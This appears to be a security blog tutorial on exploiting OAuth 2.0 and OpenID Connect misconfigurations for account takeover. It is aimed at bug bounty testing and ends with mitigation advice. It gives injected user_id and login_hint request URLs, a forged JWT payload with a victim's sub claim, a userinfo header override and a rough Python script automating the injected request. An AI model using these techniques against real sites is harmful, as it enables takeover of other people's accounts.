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Introduction:
OAuth 2.0 is the cornerstone of modern digital identity, enabling seamless logins across countless applications. However, misconfigurations in its implementation can open the door to critical vulnerabilities, such as account takeover via identity injection. This attack vector allows threat actors to bypass authentication by manipulating the identity claims passed during the OAuth flow, a high-impact finding that commands significant bounties on platforms like Bugcrowd.
Learning Objectives:
- Understand the mechanics of the OAuth 2.0 authorization code flow and where identity injection occurs.
- Learn to identify endpoints vulnerable to identity parameter manipulation.
- Master the techniques to exploit and, subsequently, mitigate identity injection vulnerabilities.
You Should Know:
1. Intercepting the OAuth Authorization Request
The first step is to capture the initial OAuth request sent to the identity provider (IdP). This is typically done when a user clicks “Login with [bash]” on a relying party (RP) application.
`https://idp.example.com/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=https://rp-app.com/callback&scope=openid%20profile&state=xyz123`
Step-by-step guide: Use an intercepting proxy like Burp Suite to capture the traffic when initiating an OAuth login. The critical parameter to note is the redirect_uri, which is where the IdP will send the authorization code. The goal is to analyze this request for potential parameter injection points, often related to user identity.
2. Identifying the Identity Token Endpoint
After receiving the authorization code, the application exchanges it for an identity token at the token endpoint. This is a POST request, and the response contains the JWT or user information.
`POST /oauth/token HTTP/1.1`
`Host: idp.example.com`
`Content-Type: application/x-www-form-urlencoded`
`grant_type=authorization_code&code=AUTH_CODE_HERE&client_id=CLIENT_ID&client_secret=CLIENT_SECRET&redirect_uri=https://rp-app.com/callback`
Step-by-step guide: Intercept this token exchange request. The vulnerability often lies in how the RP validates the `id_token` or userinfo response. If the RP does not properly verify the subject (sub) claim or other identity-related claims against the initial request, injection becomes possible.
3. Crafting the Identity Injection Payload
The core of the attack is injecting a different user’s identity into the flow. This can be done by appending an identity parameter that the IdP processes but the RP does not properly validate.
`https://idp.example.com/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=https://rp-app.com/callback&scope=openid%20profile&state=xyz123&user_id=ATTACKER_USER_ID`
Step-by-step guide: If initial reconnaissance suggests the IdP accepts additional parameters like user_id, login_hint, or username, try injecting a victim’s user identifier. The attack succeeds if the IdP uses this injected value to generate the identity token instead of the currently authenticated user’s identifier.
4. Exploiting via `login_hint` Parameter Manipulation
The `login_hint` parameter, defined in the OpenID Connect specification, is a common vector for this attack. It is intended to pre-fill a username but can be abused.
`https://idp.example.com/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=https://rp-app.com/callback&scope=openid%20profile&state=xyz123&[email protected]`
Step-by-step guide: While logged in as the attacker, intercept the authorization request and add or modify the `login_hint` parameter to contain the victim’s email or user ID. If the IdP prioritizes this parameter over the actual authenticated session, it will issue a code and subsequent `id_token` for the victim, leading to account takeover.
5. Bypassing Validation with Forged JWTs
If the RP’s validation is weak, an attacker can forge a JWT `id_token` by modifying its payload. This requires the RP to not properly verify the token’s signature.
Decoded JWT Header:
`{“alg”:”HS256″,”typ”:”JWT”}`
Decoded JWT Payload (Malicious):
`{“iss”:”https://idp.example.com”,”sub”:”VICTIM_USER_ID”,”aud”:”CLIENT_ID”,”exp”:1635724800,”iat”:1635721200}`
Step-by-step guide: Use a tool like `jwt_tool` or a browser extension to decode the JWT received from the token endpoint. If the RP does not validate the signature (e.g., uses the `none` algorithm or a weak secret), you can manually alter the `sub` claim to a victim’s ID and submit this forged token to the RP’s session establishment endpoint.
6. Leveraging the UserInfo Endpoint for Data Poisoning
After obtaining a valid access token, the RP often calls the UserInfo endpoint to get fresh user data. If this endpoint accepts parameters that override the user context, data can be poisoned.
`GET /oauth/userinfo HTTP/1.1`
`Host: idp.example.com`
`Authorization: Bearer ACCESS_TOKEN_FOR_ATTACKER`
`User-ID: VICTIM_USER_ID`
Step-by-step guide: Intercept the call from the RP to the `/userinfo` endpoint. Add a header or parameter like `User-ID` or `user_id` with the victim’s identifier. If the endpoint returns the victim’s profile data in response to the attacker’s access token, the RP might create an authenticated session for the victim.
7. Automating the Attack with a Custom Script
For repeated testing, automation is key. A Python script can orchestrate the OAuth flow and inject parameters.
`!/usr/bin/env python3`
`import requests`
` Step 1: Initiate OAuth flow with injection`
`auth_url = “https://idp.example.com/authorize”`
`params = {`
` ‘response_type’: ‘code’,`
` ‘client_id’: ‘CLIENT_ID’,`
` ‘redirect_uri’: ‘https://rp-app.com/callback’,`
` ‘scope’: ‘openid profile’,`
` ‘login_hint’: ‘[email protected]’ Injected parameter`
`}`
`resp = requests.get(auth_url, params=params, allow_redirects=False)`
` Extract the ‘code’ from the ‘Location’ header after redirect`
`print(“Check the redirect for the authorization code.”)`
Step-by-step guide: This script initiates the malicious authorization request. The researcher must manually follow the redirect or handle the callback in a web driver to obtain the authorization code. The script demonstrates how to systematically inject the `login_hint` parameter.
What Undercode Say:
- The responsibility for mitigation is shared between the Identity Provider and the Relying Party. IdPs should never allow session-based identity to be overridden by request parameters for sensitive actions. RPs must strictly validate that the `sub` claim in the `id_token` matches a known, expected user context for the current session.
- This class of vulnerability is not a flaw in the OAuth 2.0 or OpenID Connect protocols themselves, but a critical implementation and configuration failure. It highlights the dangerous assumption that the IdP is always the single source of truth for identity, without considering that the request to the IdP can be tampered with.
The analysis reveals a fundamental trust boundary issue. The RP trusts the identity data received from the IdP, but if the request to the IdP can be manipulated, that trust is broken. This makes identity injection a high-severity threat that undermines the entire authentication process. Proactive security testing, including parameter fuzzing in all OAuth endpoints, is no longer optional but essential for any organization leveraging third-party logins.
Prediction:
As more applications offload their authentication to centralized identity platforms, the attack surface for OAuth misconfigurations will expand exponentially. Identity injection vulnerabilities, in particular, will be increasingly weaponized by threat actors for large-scale account takeover campaigns, targeting everything from individual user accounts to privileged enterprise administrators. The future will see a rise in automated tools designed specifically to scan for and exploit these flaws, forcing a industry-wide shift towards more robust and paranoid implementations of the OAuth and OpenID Connect standards.
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IT/Security Reporter URL:
Reported By: Abhirup Konwar – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
